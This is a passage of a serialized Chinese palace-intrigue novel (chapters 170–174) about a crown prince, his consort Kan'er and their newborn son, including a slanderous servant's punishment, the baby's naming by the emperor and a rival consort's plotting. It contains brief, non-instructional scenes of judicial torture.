想到这,槛儿重新巴巴儿地看向太子。
“殿下,姑姑她……”
曜哥儿也看向他爹。
好吧,只看到一团模糊的轮廓。
反正他也盯着爹的方向。
第170章 太子:“孤不介意。”望晴遭凌迟!
骆峋看着母子二人,大的泪眼盈盈,小的两眼泪包,活像受了苛待似的。
实际如今谁敢苛待他们呢。
一个刚晋封的东宫侧妃,一个东宫唯一的子嗣,除非真是活得不耐烦了。
骆峋面不改色,一副任尔东西南北风他自岿然不动的坚毅沉稳之态。
语气倒是缓和:“待审下来再说。”
罚肯定是要罚的。
所谓法不容情,即便当时瑛姑姑是为了保护槛儿,那孔喜德也确实该死。
但**就是**,是僭越了司法。
此举绝不可主张与提倡。
太子是本朝律法的最高维护者之一,若是连他都只顾人情不顾刑律,日后此事若被谁挖出来走漏了风声。
那就乱套了。
不单太子要背上一个徇私枉法的罪名,槛儿也会被扣上狐媚惑主的帽子。
诚然,骆峋不会让这件事走漏风声。
因为即便槛儿清白不曾受辱,险被阉人欺辱,也足以成为她终生的污点。
一旦被抓住把柄不仅会致使她和东宫被攻讦,太子也可能遭言官死谏。
是时恐会保不住人。
所以骆峋不会让任何人坐实这件事。
只不过以防万一,瑛姑姑还需得酌情惩处。
罚月钱也好,禁足也罢。
且她杀孔喜德的原因也绝不能说是为了槛儿,如此才能保证今后发生什么意外情况不把槛儿牵扯进来。
所以说,一件事情要怎么处理,作为太子就是要方方面面都考虑周全。
不是想如何便如何的。
太子没多解释什么,但槛儿猜到了。
她看着瑛姑姑,哽咽道:“好,等审了之后再说,只是又要辛苦姑姑了。”
瑛姑姑却是不觉得有什么。
她也多少明白太子的意思,跟**相比起来,其他惩处真算不得什么了。
事情暂说到这儿。
槛儿刚刚又是跪又是哭,儿子也嗓子劈叉地闹,骆峋命人请了太医来给娘俩看。
儿子没什么。
单纯嗓门儿大中气十足,只要别让他长时间这么哭,避免伤了嗓子即可。
槛儿则是生产失血导致的心神失养,肝脾失调,就是民间说的妇人月子愁。
莫院判其实早针对这个情况给槛儿开了食疗安神,和穴位按摩的方子。
只不过产后恢复都是要一定时间的,这期间情绪容易被影响乃常事。
太医便仍是叮嘱要保持静养,保持好睡眠、好心情什么的,总归是少受刺激。
跳珠听了,在心里好一通骂望晴。
刚开始听望晴说出那些话的时候她们确实惊得不行,但也仅此而已。
她们又不傻。
望晴明显就是看主子要按规矩处置她而心存怨恨,才往主子身上泼脏水的。
最重要的是良娣主子起初是殿下晋的昭训,如今又是陛下钦封的良娣。
其中皇后娘娘肯定也同意了的。
清白不清白的,总不能这天底下最尊贵的一家三口都对这事儿不知情吧?
反正跳珠她们震惊过后就把望晴那些话当耳旁风了,是相信良娣主儿。
也是为了她们自己。
晚膳槛儿和太子一起用的。
她最近没喝粥了,膳食以温补为主,像是清炖狮子头、竹荪炖鸡都是吃得的。
槛儿不馋嘴,太子就与她重新同桌了。
膳后不能出去消食。
槛儿在几个屋子里慢悠悠溜达转圈,骆峋则在东次间的炕上坐着看书。
槛儿走不了多久。
停下来隔着一个小几坐到太子对面,寒酥端来了一小碟儿剥好的煨橘子。
槛儿叉起一瓣喂到男人嘴边。
骆峋习惯性启唇,进嘴发现是煨过的橘子。
酸。
他面色无常地咽下去。
刚吃完,槛儿又喂了一瓣。
骆峋见她似乎挺喜欢这种吃法。
他顿了顿,再度张嘴,两人就这么你一瓣我一瓣地分食了一颗煨橘子。
戌时过半,骆峋准备回元淳宫。
槛儿要送他到次间,两人走到暖阁的帘架门前太子突然停步转过身来。
海顺看出自家爷和宋良娣有话要说,就领着瑛姑姑她们先出去了。
骆峋握住槛儿的手。
语调稀疏平常:“孤不介意。”
说罢,俯身在她唇上印了一下。
“玉碎于盗手,罪在盗非在玉,孤不介意,你亦无需多想,好好养身子。”
“也不准再哭。”
槛儿看着他肃着一张清清冷冷的俊脸,眼眶不自觉酸了酸,圈住他的腰。
“不想您走了。”
骆峋搂住她,唇角扬了一下,随即又状若无事道:“待你搬回卧房。”
槛儿应“好”,又在他身上蹭了蹭脸,吸了一口他身上的香才松开手。
回了元淳宫,骆峋径直去了书房。
他还有公务要处理。
海顺出去了一趟回来。
“主子,审出来了。”
骆峋头也没抬,“说。”
海顺擦擦脸上的冷汗,尽量压低声音。
“说是孔喜德原打的她的主意,她为自保情急之下主动提出交易条件,孔喜德指名要的第一个人便是……”
后面的话海顺委实不敢说了,其实也用不着再说,明摆着怎么个事儿。
骆峋搁下笔,眸底一片沉郁冰冷。
良久。
“广储司那边如何?”他问。
海顺道:“帮手是孔喜德的两个干儿子,去年四
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月中旬那两人相继没了。
内务府记的是染了病,去了安乐堂不到一天就没了,人之前是蒋明祥管着的。”
蒋明祥早几年跟孔喜德一道管着首饰库宫人的份例和人事调动,说是一道管,其实是孔喜德一言堂。
蒋明祥比孔喜德年轻近二十岁,是从杂役升上来的,孔喜德自是瞧他不上。
私下里没少作践人。
蒋明祥资历浅,手里的权有限。
不能公然跟孔喜德叫板,也不能落得个不敬老的名声,就成日里装孙子。
这样的事真是哪哪都有,不仅是人品问题,其间更多的是牵涉到利益。
蒋明祥想把孔喜德拉下马,但不是说做就能做的,得保证自己不沾身。
正好遇上孔喜德自食其果,蒋明祥也就来了个顺水推舟,那是个聪明人。
若不然不会在去年四月得知东宫多了个宋昭训,便利落地把人处理了。
“另一个宫婢如何?知晓宋良娣夜半外出的,”默了片刻骆峋问。
海顺:“被蒋明祥调到眼皮子底下了,暂时没什么可疑之处。”
“派个人过去,将二人看牢了。”
“是。”
骆峋:“至于那刁奴……”
他拿起笔重新批阅公文,“拔了舌剜了眼,以谋害皇嗣罪论处,凌迟。”
“是。”
.
望晴原打算咬死不招的。
只要她不招出实情,笃定宋槛儿和孔太监有染,笃定是宋槛儿杀了孔太监。
之后即便她**。
也能在太子心里扎下一根刺!
苍蝇不叮无缝的蛋。
宋槛儿被金承徽她们诬陷过一次和人有染,这回又跟一个老太监扯上关系。
如果不是她生就骚贱。
别人怎么专陷害她不陷害其他人呢,孔太监怎么不找别人偏找她呢?
太子能忍受一次宋槛儿跟太监不清不楚,还能忍受第二次不成?
所以望晴决定打死不招。
她死也要拉宋槛儿垫背!
奈何她低估了那些人的审讯手段,她太痛了,甚至没撑够两刻钟便都说了。
审讯屋子里伸手不见五指,一扇巴掌大的窗户也没有,周遭死寂得厉害。
忽然。
有光由远及近,跟着是开锁声。
门被打开。
被绑在架子上的望晴周身反射性一抖,想看清来人打算要对她做什么。
哪知没等她定睛,她的下颌便被一个什么东西给钳制住了,“咔”一声。
下巴脱臼。
嘴巴被撑开。
剧痛刺得望晴两眼翻白,本能地要叫。
然而没来得及出声,舌头被一个冰冷充斥着铁锈味的东西夹住,紧跟着——
噗嗤!
第171章 满月赐名,“这小家伙想要朕抱。”
次日一早,海顺来了一趟永煦院。
带来了两个消息。
一则宫婢望晴谋害皇孙未遂,宋良娣仁慈,原想看在其勤劳侍奉多日的份上予其改过自新的机会。
然望晴死性不改,被宋良娣下令按规矩处置时恼羞成怒,诬构宋良娣清誉。
太子有令,按律以谋逆及以下犯上罪论处。
二则消息则是,由望晴招供实情。
昔广储司衣作坊管事之一舒瑛,曾为保一低阶杂役宫女免遭首饰库一内侍欺辱,不甚失手将该内侍致死。
擅杀内臣按律当绞。
但内府宫训有规定,凡为护幼弱免遭残害而犯重律者,可酌情宽恕轻罚。
所以太子有令,罚永煦院管事舒瑛月俸一年,暂调至外院侍候以自省。
海顺也没遮掩,就在院子里传的口谕。
一来昨天望晴的叫嚷院子里不少人听到了,二来望晴被调走也需得要缘由。
反正她也就是嘴上脏得厉害,又没什么证据,遮遮掩掩的反倒对槛儿不好。
干脆当众把事说清了。
至于海顺口中被瑛姑姑救的低阶宫女和欺辱人的内侍,前者设定**。
后者真**。
死无对证就是这样。
而瑛姑姑说是调到外院,实则是先做一个月的戏,之后槛儿需得瑛姑姑了,照常把人叫到跟前就是了。
罚月银什么的,典玺局那边扣。
但槛儿私下里怎么做,就是她的事了,只要不让人知道便不算什么。
这样的惩罚不是仅针对被护的人是槛儿,换做被瑛姑姑保护的人真是别的宫女,内务府一般也会这么罚。
这事儿就这么揭过了。
小福子喜雨几个不提,其他人对此事怎么个心思,那就得自己掂量了。
到了二月十六。
小皇孙满月。
皇室子嗣满月即入玉牒上族谱,也就是其在皇室的宗法地位正式被承认。
满月礼在皇家又叫命名礼。
骆峋之前说请元隆帝为儿子赐名。
实则哪需得他请呢。
他家皇帝老子似乎对他儿子格外上心,洗三过后没两天就跟他说,孩子的名儿他这个皇祖父已经想好了。
骆峋:“……”
不是很能理解父皇为何对他的儿子这般荣宠,但他原就有意请父皇赐名。
倒是省了他开口。
且儿子受宠,东宫位稳,是好事。
满月宴上才赐名,骆峋也就没在当时追问元隆帝想的名字是什么。
礼部倒早收到了元隆帝的拟名,不过未经准许他们谁也不敢对外声张。
钦天监测算小皇孙满月这日卯时为吉时,按制告天地祖宗这一流程该由太子到太庙祭祀,皇帝可缺席。
元隆帝怕麻烦。
往常除了中秋、冬至、除夕和元旦,其他时候的祭祖他都是交给太子,奉行的就是累儿子不累老子的原则。
然而这回他打了鸡血似的。
到了孙子满月这日,元隆帝老早就晨起了。
一通收拾弄罢。
衮服穿得板板正正威风赫赫,帝王的十二旒冕冠戴得那叫一个端正神气。
好一派精神抖擞,容光焕发之态。
也是裴皇后年纪大了,若不然不知道的还当她又给元隆帝添了一儿半女。
朝臣们早看出东宫复宠了,今儿太庙这么一告,此事俨然铁板钉钉。
太子地位稳固国本昌隆,自然是好事,但大伙儿心里也很是纳罕。
撇开东宫被冷待的几年不提。
早年元隆帝宠太子时凡事亲力亲为,怎么临老了老了对孙子也开始这样了?
说是爱屋及乌吧,倒也不至于如此,毕竟根本算不上正儿八经的嫡孙。
猜不透。
不过帝王行事一定有他的道理。
他们便先静观其变。
满月的曜哥儿寅时过半就被闹醒了,沐了浴裹上织金贡缎绣**纹的襁褓。
这一个月他吃胖了不少,脸蛋胖嘟嘟白嫩嫩,小嘴巴也是红艳艳的。
瞧着倒和早产挂不上钩。
本来照规矩,东宫子嗣的满月礼后宫的宴席该由太子妃和皇后一道操持。
但郑明芷现今在禁足,对外的理由便是治下不严,没约束好身边的奴才。
甭管外人怎么想,总归她现在不便露面。
那么就该槛儿这个东宫唯一的侧妃,代其与裴皇后一块儿操办今天的宴。
可惜槛儿要坐满两个月的月子。
按常例该三十天。
只莫院判道女子生产气血两亏百脉空虚,本就该多些时间才能恢复得更好。
太子首先同意,裴皇后也首肯了。
所以今天槛儿照常不出席。
曜哥儿则要先由海顺、银竹和元隆帝身边的一行人护送到奉天殿溜一圈。
再到女眷那边溜一圈。
虽说一路都有专人护送,但孩子这么大点儿,当娘的自然免不得担心。
于是临走前槛儿少不了一番叮嘱。
儿子也没落下。
亲香两口叫他乖乖的。
曜哥儿咧着小嘴儿冲娘直笑。
这般隆重的日子,曜哥儿也是有代步工具的,是一架由金丝楠木外加纯金打造的形似小房子的十六抬小暖轿。
雕花镶金的轿门一打开。
正中间一个与轿底固定连接的镀金案几,其上固定一个长约三尺宽约一尺半类似婴孩澡盆的金丝楠木盆。
整个盆儿由蚕丝软缎包裹着,底部还垫了羊毛毡,火狐腋毛皮啥的。
反正怎么舒适暖和怎么来。
曜哥儿萝卜似的被放进了盆里,银竹和奶娘分别坐在紧挨着轿门的地方。
一行人浩浩荡荡地往奉天殿行去。
时间掐得刚刚好,到奉天殿时殿内礼部官员刚好唱读完一长串祝文。
全仕财出来,用特制的工具在小皇孙身上检查了一番后便托着襁褓入殿。
把小皇孙交给太子太保。
也就是太子的武师傅蒋腾。
蒋腾日里粗糙惯了,但该正经的时候还是挺正经,尤其他是太子派系的人。
此时抱着太子的第一个儿子,五大三粗的蒋腾脑门儿上竟出了层细汗。
慎王站在太子的下首处暗暗撇嘴。
太子的儿子了不起啊?
一个庶长子。
满月礼父皇还亲自祭祀,亲自主持。
他的哪个儿子满月都是在王府自己办的,也没见父皇对谁多上心。
哦,父皇对他这个儿子都不上心。
父皇就是偏心!
偏心老头子!
慎王一错不错地盯着襁褓,嫉妒得眼珠子都红了,再扭头去看宣王和简王。
前者笑得活像是他自己儿子办满月,后者好像又胖了,瞧瞧那一脸横肉。
慎王没眼看,忽然挺想老大老三的。
不管慎王。
一众文武官员和勋
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贵宗亲的视线也集中在小皇孙身上,一个个伸长了脖子。
哪怕多数人连孩子的脸都瞧不见,也很是煞有其事地面露恭敬欣喜之态。
骆峋一身绛红底织金云龙纹的朝服,英武俊挺地立在殿内中央。
接过儿子后,他神态肃然地呈托举状抱着儿子,沉稳步上龙案前。
按流程该是元隆帝在孙子的眉心正中点朱砂,算是天子亲验的一个标志。
验完就可以赐名了。
但让在场之人没想到的是。
太子刚把小皇孙呈到元隆帝跟前,安静的小奶娃忽然出了声,一双小手也从宽松的襁褓里挥舞了出来。
且朝元隆帝伸了过去!
“哇呜,哇呜咿!”
东宫的属官和太子派系的人原本被吓得不轻,以为小皇孙要开始哭闹了。
众人冷汗都冒出来了,顷刻间脑海里就想了千八百种说词来圆场。
哪知小皇孙却是不哭不闹,只嘴里呜哇的,伸着小手看模样竟像似要元隆帝抱?
元隆帝挑了一下眉。
他其实老早就想看看这个孙子了。
看看这个让他做了个好梦,先帝爷托梦也要让他慎待之的孙子是何模样。
方才乍一眼观其外形,倒是个乖巧漂亮的,跟太子幼时生得一般无二。
不曾想胆子倒也挺大。
“陛下,小皇孙这是想要您抱呢。”
全仕财在一旁笑着道。
元隆帝逗问小孙子:“想要朕抱啊?”
曜哥儿其实不太喜欢皇祖父,前世父王和娘遭遇的一些事就跟皇祖父有关。
当魂魄的时候,曜哥儿还埋怨过皇祖父。
但他知道皇祖父是皇帝,管着整个大靖,是天底下说话最有分量的人。
大家都想讨皇祖父的喜欢。
皇祖父喜欢了,他们就能有好日子过。
曜哥儿也想皇祖父喜欢他、他父王和他娘,这样上辈子的事就不会发生了。
“唔啊呀……”
小奶娃眼睛咕噜噜转,嘴里发出短促的声音,细嫩的小胖手指握啊握的。
“这小家伙,还真是想要朕抱,”元隆帝笑看了眼殿内众人,心情颇好地道。
于是大伙儿就又开始了。
夸小皇孙聪慧过人啊,睿智天成啊。
心里怎么想,估计就他们自己清楚了。
元隆帝没管他们,搁下手中的朱笔抖了抖袖子,“好,朕就抱抱你。”
曜哥儿今天穿的襁褓没有裹成蜡烛包,而是上半身很宽松,手臂可以活动。
元隆帝便连带襁褓一起掐住孙子的腋窝将其抱过御案,遂高高举起孙子。
曜哥儿像是觉得很好玩似的,小手兴奋般挥了两下,两眼弯弯笑得可欢。
全仕财带头拍起龙屁。
底下的人也拍。
元隆帝端详孙子,曜哥儿看着皇祖父的轮廓,祖孙俩就这么对视着。
太子则立在御案左侧。
众人甫一抬头。
便可见金碧辉煌的大殿,璀璨通明的琉璃灯之下,天家最尊贵的三代人。
“日月得天而能久照,四时变化而能久成。”
“朕赐你名曜,骆曜。”
“望你今后守时遵礼,以修君子内德。”
史官记之:
元隆二十一年二月十六日,皇太子峋生子弥月,上于奉天殿高举皇孙示群臣。
赐名曜。
群臣仰瞻天表,皆呼万岁。
第172章 娘的曜哥儿,“要证实那孩子不是太子的!”
坤和宫的宴没什么仪式,相较起来就比奉天殿的气氛要轻松许多了。
只不过曜哥儿从被闹醒沐浴到从奉天殿出来,醒了近两个时辰了。
他倒是有心和皇祖母亲近亲近,奈何这个月份的小身板儿实在撑不住。
于是裴皇后抱到手的便是睡着的孙子,不过这并不影响她对孙子的喜爱。
若不是宴上人多,孙子又才这么点儿大,担心他受惊或是受了过多寒气,裴皇后还真想再多抱一会儿。
所幸日后有的是机会。
她倒也不至于多舍不得放手,抱了不到半刻钟便把曜哥儿交给奶娘。
“今儿是小皇孙的好日子,妾身等难得一睹小皇孙的福相,娘娘不若叫人将小皇孙抱来与妾身等人瞧瞧?”
奶娘正要抱曜哥儿退下。
殿中蓦地响起一道含笑的女声。
正是魏嫔。
她今儿穿了身橘黄底绣蝶绕繁华团窠纹的立领长袄,领口一圈兔绒。
也不知是习惯了作为嫔的生活。
还是看开了。
比起年前槛儿来向裴皇后请安偶遇她的那回,今日的魏嫔精神好了许多。
此时她端坐在蓉嫔的右手边位置,看着奶娘手中的襁褓,眉眼带笑地道。
换做以前,这种情况必定少不了人附和她。
但自打她被降了位份,早先跟她走得近的人就明里暗里与其保持距离了。
其实如果只是魏嫔降了位份,睿王没被废的话,倒也不至于会这样。
可惜睿王一脉失势了。
这就表示魏嫔没有任何傍身之本,她自身都难保,又谈何做别人的靠山。
这种情况自是没人再往她这边靠,因此魏嫔的话说完,现场气氛冷了片刻。
倒是有两个小贵人仿佛没察觉到现场的微妙气氛似的,说想看看小皇孙。
裴皇后哂了一下:“日后多的是机会,孩子还小,不便在外长时间逗留。”
说着,吩咐奶娘。
“抱下去吧,路上好生看顾着。”
魏嫔闹了个没脸。
等宴席结束魏嫔回了景祥宫西殿,一到卧房她的脸就拉了下来。
魏嫔被降位份时身边原有的人也被减了大半,剩下的则基本被换了个遍。
其中一个大宫女和外面管其他几个小太监的太监,是裴皇后派来监视她的。
但魏嫔也算是个有本事的。
她表面折腾,实则睡觉的时间之外她每时每刻都在暗中观察新换的这批人。
就这么耗时半年。
魏嫔掌握了跟前伺候的每个人的性情和弱点,并加以利用,逐个击破。
时至今日。
派来监视她的人已经被其成功策反。
大宫女砚书是其中之一,另一个大宫女砚棋则是她从前在内务府的人脉之一。
到底是从元隆帝潜邸时期跟过来的老人,在贵妃的位置上坐了这么多年。
自是有些手段的。
这会儿见主子神色有变,砚棋很有眼力见儿地将几个小宫人打发下去。
魏嫔坐在妆台前,看着镜子道:“你们之前在外面可有寻机看清那崽子?”
砚书摇摇头。
“暖轿直接抬到了正殿外头台阶上,奶娘抱出来脸也是遮住的,看不清。”
魏嫔紧缩着眉,静默了小会儿后又松开。
“说是八个多月早产,但那襁褓裹得实在,瞧着倒不像是早产该有的大小。”
砚书、砚棋对个眼神。
后者道:“瞧着确实不像,一般八个多月早产的,到满月时差不多才和寻常足月刚生出来的孩子一般儿大。”
魏嫔拿起胭脂盒盘捏。
她很确定,当年自己费尽心思设计的那场活春宫绝对让太子落了病根儿。
若不然东宫前些年不可能一个子嗣也没有,偏去年多了个小昭训就怀上了。
这事儿怎么看怎么蹊跷。
另一处蹊跷的地方便是太子妃。
如果太子真对女人不行。
那么太子妃必定对此事知情才对。
太子可以不去妾室屋里,却是不能不去太子妃这个正牌妻子的屋里。
否则岂不明摆
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着有问题?
若真是这样,太子妃对那小子的病就绝对知情。
所以那小子是怎么说服的太子妃,让她同意推那么一个小宫婢出来生孩子?
那个孩子又是怎么来的?
不是早产儿的大小,却说是早产儿……
“年前让你们找人打听的事办得如何了?”
魏嫔问。
砚棋压了压声音道:“早先西山那边低级宫嫔墓常有盗掘事件发生,后面加强了管理,恐怕还要一阵子。”
“尽量快些,拖得太久不利于行事。”
“是。”
魏嫔深吸一口气。
她要证实那个孩子不是太子的。
只要那个孩子不是……
.
得知小家伙被元隆帝赐了“曜”字作名,槛儿有一会儿没回过神来。
旋即反应过来她便去了一趟西厢。
曜哥儿在他的专属小床里睡得正香,小脸微侧着,两只手攥成拳举过头顶。
其实槛儿之所以不确定小家伙是曜哥儿。
除了她上辈子没和曜哥儿生活过外,便是她死的时候离曜哥儿离世隔得太久了。
槛儿怀念曜哥儿,但也不得不承认小家伙的音容笑貌她早记不清了。
他生前的画像并不写实。
这是一方面原因。
另一方面则是槛儿虽知道曜哥儿像太子,可像太子的孩子也可能不是曜哥儿。
可能今生的头一胎生出来的是别的孩子,恰好这个孩子也长得像太子。
这个也是说不准的。
所以今天之前,槛儿一直抱的是希望这胎是曜哥儿,不是也没关系的自然心态。
直到听说了赐的名,槛儿这会儿再来看儿子,也不知是心理作用还是别的。
就越看越觉得真是曜哥儿。
槛儿没忍住笑,眼眶倒是不自觉泛起了酸。
如是不知看了多久。
槛儿俯身抱抱他。
“曜哥儿,娘的曜哥儿……”
来世不可待,往世不可追。
这辈子咱娘俩要好好的,好好活着。
第173章 太子:“槛儿,你辛苦了。”「庆昭帝」
今日儿子满月礼,太子放假不当差,但等到忙完前朝的一摊事也到傍晚了。
骆峋让把晚膳摆到宋良娣那边去,他自己回来则先到元淳宫洗漱收拾。
他爱洁,若是没有要紧事,不管何时从哪回来做的第一件事都是洗漱。
而自打槛儿生产,骆峋更是注重清洁。
皆因莫院判说了,产妇与新生儿的身子俱弱,身边的人应时刻保持整洁,以免他们被沾上不洁之物染病。
骆峋在外跑一天。
即便身上瞧着再干净,也少不得有尘土,兴许还有别人没有发作的病气。
所以如今他都是先在元淳宫洗一遍,若有需要再去槛儿那边擦拭一遍,保证浑身连头发丝儿都一尘不染。
收拾完过去,晚膳掐着点儿摆好。
槛儿早能下地正常走动了。
虽然谨慎起见周嬷嬷还是不建议她去外面见风,但像是正房到厢房这样的短距离,亦或是在厅堂里活动。
保暖措施做好了倒也没事。
因此骆峋一来,便见槛儿在正房晃。
等他行至台阶,她看到他了,神态肉眼可见地明媚起来,疾步朝他迎过来。
骆峋在门前褪下薄披风。
刚进屋,哪知面前的人忽然对他盈盈一拜,和从前别无二致地向他行礼。
骆峋正欲蹙眉。
就听她说了句“妾身给殿下请安”,语气之轻快俏皮,俨然在逗趣。
骆峋微绷的唇角松了松,“作怪。”
槛儿挽住他的胳膊。
“这不是殿下免了我这么长时间的礼,我得练练嘛,可不能哪天规矩错了。”
骆峋便想她错的规矩还少?
早先想着等她生产完再与其说说,眼下她月子没坐满,便待她坐满再说。
照旧一人月子餐,一人正常晚膳。
只不同于以往完全的食不言。
现在两人吃饭偶尔对上眼神,槛儿会拿侍膳的筷子给太子爷夹她自己觉得不错的菜,推荐太子爷吃。
骆峋就将这一点也记在要和槛儿说的规矩里了,不过吃倒是吃了。
他做不出夹菜的举动,只逢上他的膳里有槛儿能吃的,会示意人摆到她面前。
也算是潜移默化的改变。
槛儿今天从暖阁搬到卧房了,太子爷果然履行了他十多天前的许诺。
留下陪宋良娣。
时隔一个月重新睡到一起,两人似乎都有种久违了的感觉,想和对方挨着。
骆峋便平躺着,像早先那般将槛儿捞到他身上趴着,槛儿自个儿寻舒服的姿势。
但寻了会儿,她按了按男人的胸膛和腰腹。
骆峋滚了滚喉,捏住她的手。
“作甚?”
槛儿抬头看他,眼神似嗔非嗔似羞非羞,丰盈脸颊在烛光下泛着粉润的光。
“您身上好硬,殿下自己摸摸看。”
骆峋:“……”
他没事摸自己作甚?
“以前有这样过,”太子爷矜持地提醒道,侧身作势将身上的人放下去。
槛儿挡住他的动作。
就势攀着他的肩往上蹭。
最后偎在太子颈侧,咕哝道:“以前没生,现在生了,您没感觉有什么不同?”
骆峋感觉到了。
方才把她捞到身上就有所察,他刻意忽视,可他并不知道她会趴得不舒服。
此刻听槛儿一提。
骆峋只觉胸膛上被她挨着的地处似火在烧,蔓延至他的耳根与脸上。
好在太子爷不是会脸红的体质,耳垂与耳尖的红不显眼,槛儿没注意到。
“那躺下来。”
骆峋拍拍她的肩,神情和语气与平时无异。
槛儿扭了扭,“这样侧着就舒坦了。”
骆峋:“……”
说硬的是她,说舒坦的也是她。
罢。
莫院判有言,月子期间的妇人惯是善变。
骆峋转移话题,滤过朝堂上的一些机锋,说起早上曜哥儿被赐名时的表现。
银竹和海顺早上那会儿都只能在殿外侯着,所以槛儿只看过记有曜哥儿名字的纸笺,不知儿子的表现。
虽然这会儿太子言简意赅,但她的脑海里还是想象出了当时的画面。
槛儿忍不住笑出了声。
不多时收了声,她撑起身子看着男人的俊脸,“殿下幼时也这般沉稳吗?”
竟调侃起他来了。
胆子真是愈发见长。
骆峋面部表情地抬手,在槛儿越渐养得水灵软嫩的脸颊上捏了两下
槛儿刚要配合喊痛。
太子松了手,却是转捏为抚,那双看着她的凤眸似是忽然幽暗得不见底。
很深沉,不同于想行那事时带着火的侵略性和恼怒时看透人心的犀利。
而是一种说不出的。
犹如一池深渊,让人猜不透看不明,但深陷其中也不觉得冷不觉得害怕。
“您怎么了?”槛儿问。
骆峋细细端详她的眉眼,最后在槛儿疑惑的目光中道:“今日可欢喜?”
什么意思?
槛儿不懂。
但还是很实诚地点了点头。
握住太子放在她脸上的手笑着道:“陛下赐的名儿寓意真好,也好听!”
说起寓意,其实曜这个字太大了。
易经中有言,悬象著明,莫大乎日月,意为天象之中当属日月最能昭显光明。「注*」
圣人常以此喻君王至高无上的地位。
而曜字承天道观,纳火德祥瑞,寻常人家以此作名,或许只有盼着孩子人生一片光明,前途坦荡的意思。
但用来皇帝给皇子皇孙赐名,就颇有一种彰显天命在躬,照临万方之意。
让人觉得皇帝有意要把江山交给这个儿子或孙子,免不得便会让人多想。
但元隆帝起这个名妙就妙在,他由易经中“日月得天而能久照,四时变化而能久成”引出了曜字。「注*」
日月与四季变化结合,顺理成章地将象征权力的日月转化成了自然现象。
加之守时遵礼修君子内德的期许和久照、久成二词,这名儿就可理解为盼孩子天养康和,平安长命。
早上在奉天殿,骆峋人在御案前。
却并没有错过下面有御史听了父皇的赐名后,两度想谏言但又忍下的模样。
当时骆峋不便分心想别的,但等忙完了事他不由就想到之前姜氏说过的话。
骆曜发烧烧坏脑子,最终年仅四岁溺亡于井,想到她说槛儿丧子郁郁寡欢。
那时骆峋秉着宁可信其有的想法信了姜氏八成,再是九成,如今十成。
孩子的名字今日才定下。
姜氏不可能未卜先知。
所以,丧子之痛吗?
骆峋看着眼前之人的笑脸,看着她的眉眼,看着她眸底倒映着他的身影。
他动了动唇。
嗓音像浸在水中的玉石相撞。
“槛儿。”
帐中一静。
槛儿扬起的唇角僵住了,捏太子手指的动作也顿住,眼中难掩错愕。
骆峋的拇指指腹在她面颊上抚了一下,搂着她坐起身,将她拥在怀里。
“你辛苦了。”
辛苦什么?
生孩子吗?
那确实挺辛苦的。
可现在离生孩子已经过去一个月了,他虽当时没将这样的话挂在嘴边,但槛儿从他的言行举止中感受到了。
譬如他小半边身子悬在榻外面地陪她睡,譬如那支镶满宝石的金步摇。
譬如他免了她的谦称。
槛儿感受到了。
无需他多言。
他原也不是会将体贴关心时常挂在嘴边的人,所以槛儿根本不介意这一茬。
哪知他这会儿提起了。
还叫了她的名字?
当然,喊名儿什么的算不得什么事,寻常人家跟人打交道都要叫名字。
可问题就在于宫里除了宫人之间互相称名字,主子们叫宫人会称名字。
其他人相处一般是位份加敬称,叫名字则是长辈对小辈,或尤为亲近的同辈。
反正上辈子槛儿没听过太子和庆昭帝叫她名儿,他们之间尊卑向来分明。
因此这会儿槛儿有些懵。
不明白太子为何突然这般温情的同时,心跳也在他低磁的嗓音下漏了两拍。
槛儿不禁仰头,手抵在太子胸膛上。
“殿下,您唤了妾身的名。”
骆峋低头与她对视。
“嗯,槛儿。”
槛儿飞快眨了几下眼。
想笑,但又有点不知所措的模样。
“不喜孤唤你的名?”骆峋问。
槛儿把他的手放到她热乎乎的脸上,不答反问道:“您看我像是不喜吗?”
骆峋笑了。
另一只手托着她的后脑,低头亲她。
是夜。
骆峋久违地又做起了梦,一个比去年梦到他幸槛儿还要不好的梦。
且这回他的感觉不是局外人,而是他切切实实就是梦里的“骆峋”。
“陛下,您猜妾身刚刚做了什么梦?”
坤和宫后寝殿。
空气中弥漫着浓浓的汤药味,十二屏龙凤呈祥的屏风之后的拔步床上。
槛儿靠在庆昭帝怀里。
蜡黄瘦削的脸上时隔数月久违地浮现出一丝神采,笑起来眼角几条细纹。
“什么梦?”
年过六旬的庆昭帝穿着身明黄寝衣,握着怀中之人的手,沉声问。
第174章 “皇后娘娘,薨了……”庆昭帝的眼泪
精致的六角莲花宫灯在角落里散发着浅浅光晕,靠近凤床的一侧宫人们在轻手轻脚地铺着一架软榻。
给陛下睡的榻。
皇后有病在身,夜里时不时会醒来需得人伺候,帝后自然不好再同床。
皇后病的这几个月,陛下便是这般睡的。
“妾身梦到曜哥儿了。”
槛儿回握住男人的手,笑着说。
不到四个月,她像似完全变了一个人。
往日丰腴莹润的手腕如今只剩了骨头架子,纤长的手指也像似枯枝。
且她以前从不会提曜哥儿。
那孩子死得早。
是她一辈子的心病。
庆昭帝收紧双臂,蹭槛儿斑白的发顶。
“梦到他什么了?”
槛儿看着床尾处的帐子,黯淡的眸子里浮起一丝光亮,像是看到了什么。
“梦到他唤妾身娘亲,唤您爹爹,您送了他一杆小金枪可把他高兴坏了,一天到晚上哪儿都带着好不得意。”
庆昭帝:“他会耍枪?”
“您教他的啊,他就来妾身跟前让妾身看他厉不厉害,结果厉害没见着,倒是见着他险些打到脸了。”
槛儿笑出了声。
乍一看精神仿佛要痊愈了也似。
庆昭帝闭了闭眼。
“学艺不精,该罚。”
槛儿嗔他:“那么小呢,手上都没力气。”
说完,她收了收笑问:“陛下,您还记得曜哥儿生得什么样子吗?”
庆昭帝抿紧唇。
旋即正要答,就听她说:
“妾身不记得了,太久了,若他活着也四十多了,但妾身想象不出来。
也不知投生到谁家了,过得好不好。”
“妾身今晚这是怎么了,怎么突然想起那孩子了,都过去多少年的事了……”
庆昭帝没接话。
槛儿也没再说。
像是累了,她闭上眼安静靠在庆昭帝怀里。
过了约莫半刻钟,怀里人的呼吸变得绵长,庆昭帝腾出一条腿踩在地平上。
熟稔地准备将其安置到床上,哪知才刚有动作,槛儿拉住了他的衣袖。
“陛下……”
“嗯?”
槛儿望着他,冲他笑。
像似发自肺腑的,释然的笑。
“您保重龙体,孩子们还小,要劳您费心了。”
庆昭帝肃着脸。
他生得俊,一双狭长凤眸不怒自威,这般看人时一股无形的气势扑面而来。
以往槛儿最是畏惧他,为揣测他的心思没少费脑子,如今倒像是不怕了。
她仍是笑。
笑着笑着,眼里的光渐渐淡了下去。
最后累极似的闭上眼。
庆昭帝的心骤然收紧。
